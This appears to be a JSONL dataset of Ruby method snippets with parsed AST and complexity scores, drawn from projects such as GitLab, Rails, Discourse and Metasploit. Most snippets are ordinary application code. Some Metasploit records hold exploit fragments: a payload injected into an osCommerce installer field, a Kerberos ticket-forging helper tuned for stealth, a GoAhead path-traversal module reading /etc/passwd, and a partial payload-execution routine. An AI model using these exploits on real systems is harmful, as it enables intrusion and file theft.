failed\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Code execution was successful. Sending payload.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute_python\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"secret\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"frame\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\">>> \"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"PayloadFailed\"]},{\"type\":\"str\",\"children\":[\"Response indicates that payload has not been executed sucessfully\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Response indicates that payload has been executed. Note: This does not indicate a lack of errors\"]}]}]}]}","id":"29ba4abd-d5b0-4524-b199-d8359323419e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fogbugz_import/importer.rb","start_line":211,"raw_source":"def format_content(raw_content)\n        return raw_content if raw_content.nil?\n\n        linkify_issues(escape_for_markdown(raw_content))\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_content\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_content\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"linkify_issues\",{\"type\":\"send\",\"children\":[null,\"escape_for_markdown\",{\"type\":\"lvar\",\"children\":[\"raw_content\"]}]}]}]}]}","id":"6dd42c2f-95ea-43a1-bbcb-3e985d44b903"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/kerberos/forge_ticket.rb","start_line":245,"raw_source":"def include_crypto_params(options, enc_key, enc_type)\n    options[:key] = enc_key\n    if enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256\n      # This should be the server's preferred encryption type, so we can just\n      # send our default types, expecting that to be selected. More stealthy this way.\n      options[:offered_etypes] = Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes\n    else\n      options[:offered_etypes] = [enc_type]\n    end\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_crypto_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"enc_key\"]},{\"type\":\"arg\",\"children\":[\"enc_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"enc_key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enc_type\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"AES256\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"offered_etypes\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Crypto\"]},\"Encryption\"]},\"DefaultOfferedEtypes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"offered_etypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enc_type\"]}]}]}]}]}]}","id":"21f4aec9-a650-495f-91f2-2656cc2ee1ec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/oscommerce_installer_unauth_code_exec.rb","start_line":91,"raw_source":"def exploit\n    unless check == CheckCode::Appears\n      fail_with Failure::NotVulnerable, 'Target is not vulnerable'\n    end\n\n    data = {\n      'DIR_FS_DOCUMENT_ROOT' => './',\n      'DB_DATABASE' => \"');#{payload.encoded}/*\"\n    }\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['URI'], 'install.php'),\n      'method' => 'POST',\n      'vars_get' => {\n        'step' => '4'\n      },\n      'vars_post' => data\n    })\n    trigger\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not vulnerable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DIR_FS_DOCUMENT_ROOT\"]},{\"type\":\"str\",\"children\":[\"./\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DB_DATABASE\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"');\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"/*\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]},{\"type\":\"str\",\"children\":[\"install.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"step\"]},{\"type\":\"str\",\"children\":[\"4\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"trigger\"]}]}]}","id":"2c3de8c1-1230-4aac-8464-e663a5d20f9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/blob_service.rb","start_line":146,"raw_source":"def list_all_blobs_response(limit: nil, bytes_limit: 0, dynamic_timeout: nil, ignore_alternate_object_directories: false)\n        repository = @gitaly_repo\n\n        if ignore_alternate_object_directories\n          repository = @gitaly_repo.dup.tap do |g_repo|\n            g_repo.git_alternate_object_directories = Google::Protobuf::RepeatedField.new(:string)\n          end\n        end\n\n        request = Gitaly::ListAllBlobsRequest.new(\n          repository: repository,\n          limit: limit,\n          bytes_limit: bytes_limit\n        )\n\n        timeout =\n          if dynamic_timeout\n            [dynamic_timeout, GitalyClient.medium_timeout].min\n          else\n            GitalyClient.medium_timeout\n          end\n\n        Gitlab::GitalyClient.call(repository.storage_name, :blob_service, :list_all_blobs, request, timeout: timeout)\n      end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"list_all_blobs_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"bytes_limit\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"dynamic_timeout\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"ignore_alternate_object_directories\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repository\",{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ignore_alternate_object_directories\"]},{\"type\":\"lvasgn\",\"children\":[\"repository\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]},\"dup\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"g_repo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"g_repo\"]},\"git_alternate_object_directories=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"RepeatedField\"]},\"new\",{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"ListAllBlobsRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bytes_limit\"]},{\"type\":\"lvar\",\"children\":[\"bytes_limit\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dynamic_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dynamic_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]},\"min\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository\"]},\"storage_name\"]},{\"type\":\"sym\",\"children\":[\"blob_service\"]},{\"type\":\"sym\",\"children\":[\"list_all_blobs\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]}]}]}]}","id":"057a4930-68a4-4c5f-8bfa-cab3f1835b04"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user_preferences_navigation_menu.rb","start_line":21,"raw_source":"def has_navigation_menu_preference_checked?(preference)\n        page.find(\".#{preference} input\").checked?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_navigation_menu_preference_checked?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preference\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preference\"]}]},{\"type\":\"str\",\"children\":[\" input\"]}]}]},\"checked?\"]}]}","id":"26d5e4b5-e793-4c8c-a62f-7c575ebdece5"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_set.rb","start_line":77,"raw_source":"def initialize_dup(_)\n      @attributes = @attributes.dup\n      super\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_dup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]},\"dup\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"6004a935-2a1e-4c79-9690-f6289bd56eaf"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/interactions_measure.rb","start_line":22,"raw_source":"def activity_tracker\n    @activity_tracker ||= ActivityTracker.new('activity:interactions', :basic)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"activity_tracker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@activity_tracker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityTracker\"]},\"new\",{\"type\":\"str\",\"children\":[\"activity:interactions\"]},{\"type\":\"sym\",\"children\":[\"basic\"]}]}]}]}","id":"5962cc40-ef82-4d9a-a0f7-c22dacc56418"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/user_query_executor.rb","start_line":265,"raw_source":"def handle_execution_error(error)\n    error_message = \"Query execution failed: #{error.message}\"\n    Rails.logger.error(\"UserQuery execution error: #{user_query.name} - #{error.message}\")\n    @errors << error_message\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_execution_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Query execution failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UserQuery execution error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_query\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}]}","id":"db3ba2cf-aa9c-4380-8fe5-3876dc173493"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":957,"raw_source":"def render_post_json(post, add_raw: true)\n    post_serializer = PostSerializer.new(post, scope: guardian, root: false)\n    post_serializer.add_raw = add_raw\n\n    counts = PostAction.counts_for([post], current_user)\n    if counts && counts = counts[post.id]\n      post_serializer.post_actions = counts\n    end\n    render_json_dump(post_serializer)\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_post_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"kwoptarg\",\"children\":[\"add_raw\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_serializer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostSerializer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_serializer\"]},\"add_raw=\",{\"type\":\"lvar\",\"children\":[\"add_raw\"]}]},{\"type\":\"lvasgn\",\"children\":[\"counts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"counts_for\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},{\"type\":\"lvasgn\",\"children\":[\"counts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_serializer\"]},\"post_actions=\",{\"type\":\"lvar\",\"children\":[\"counts\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"lvar\",\"children\":[\"post_serializer\"]}]}]}]}","id":"57b269c7-2bb1-4276-a248-a883016e17cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/import/import_large_github_repo_spec.rb","start_line":537,"raw_source":"def gl_branches\n        @gl_branches ||= begin\n          logger.debug(\"= Fetching branches =\")\n          imported_project.repository_branches(auto_paginate: true, attempts: 3).map { |b| b[:name] }\n        end\n      end","complexity_score":9.98,"ast_json":"{\"type\":\"def\",\"children\":[\"gl_branches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gl_branches\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"= Fetching branches =\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"imported_project\"]},\"repository_branches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_paginate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attempts\"]},{\"type\":\"int\",\"children\":[3]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"eb65edc8-32f0-4576-bc0d-3314c6633363"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/goahead_traversal.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal',\n        'Description' => %q{\n          This module exploits a directory traversal vulnerability in the Embedthis\n          GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files\n          with the web server privileges.\n        },\n        'References' => [\n          ['CVE', '2014-9707'],\n          ['PACKETSTORM', '131156']\n        ],\n        'Author' => [\n          'Matthew Daley', # Vulnerability discovery\n          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80),\n        OptString.new('FILEPATH', [true, \"The path to the file to read\", \"/etc/passwd\"]),\n        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])\n      ]\n    )\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Embedthis GoAhead Embedded Web Server Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a directory traversal vulnerability in the Embedthis\\n\"]},{\"type\":\"str\",\"children\":[\"          GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files\\n\"]},{\"type\":\"str\",\"children\":[\"          with the web server privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-9707\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PACKETSTORM\"]},{\"type\":\"str\",\"children\":[\"131156\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Matthew Daley\"]},{\"type\":\"str\",\"children\":[\"Roberto Soares Espreto <robertoespreto[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILEPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to the file to read\"]},{\"type\":\"str\",\"children\":[\"/etc/passwd\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Traversal Depth (to reach the root folder)\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}]}","id":"95f02323-ee52-4858-9c60-23631875f8a8"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/gift_cards_controller.rb","start_line":16,"raw_source":"def resource_serializer\n            Spree::Api::Dependencies.platform_gift_card_serializer.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_gift_card_serializer\"]},\"constantize\"]}]}","id":"a86a3cc2-e3fa-4fc4-965b-7243bb125e77"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/extract_metadata_content_service.rb","start_line":23,"raw_source":"def initialize(nuspec_file_content)\n        @doc = Nokogiri::XML(nuspec_file_content)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nuspec_file_content\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"nuspec_file_content\"]}]}]}]}","id":"2e261f56-15d1-4b6d-a5da-52f3800eed25"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/uploaded_file_test.rb","start_line":37,"raw_source":"def test_content_type\n      uf = Http::UploadedFile.new(type: \"foo\", tempfile: Tempfile.new)\n      assert_equal \"foo\", uf.content_type\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_content_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Http\"]},\"UploadedFile\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tempfile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uf\"]},\"content_type\"]}]}]}]}","id":"dbdbf91c-dc0b-4c11-afea-e16f6e82d0b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/ip_address.rb","start_line":38,"raw_source":"def get_public_ip_address\n        Support::Retrier.retry_on_exception(sleep_interval: 1) do\n          get(PUBLIC_IP_ADDRESS_API)\n        end\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_public_ip_address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Retrier\"]},\"retry_on_exception\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sleep_interval\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"const\",\"children\":[null,\"PUBLIC_IP_ADDRESS_API\"]}]}]}]}","id":"50965736-f2d0-4f0a-8980-344330a1765d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_enterprise.rb","start_line":91,"raw_source":"def perf_capture_enabled?\n    @perf_capture_enabled ||= ext_management_systems.any?(&:perf_capture_enabled?)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_capture_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@perf_capture_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_systems\"]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"perf_capture_enabled?\"]}]}]}]}]}","id":"3ea08849-85aa-48e8-8dc7-39e615b72e50"}
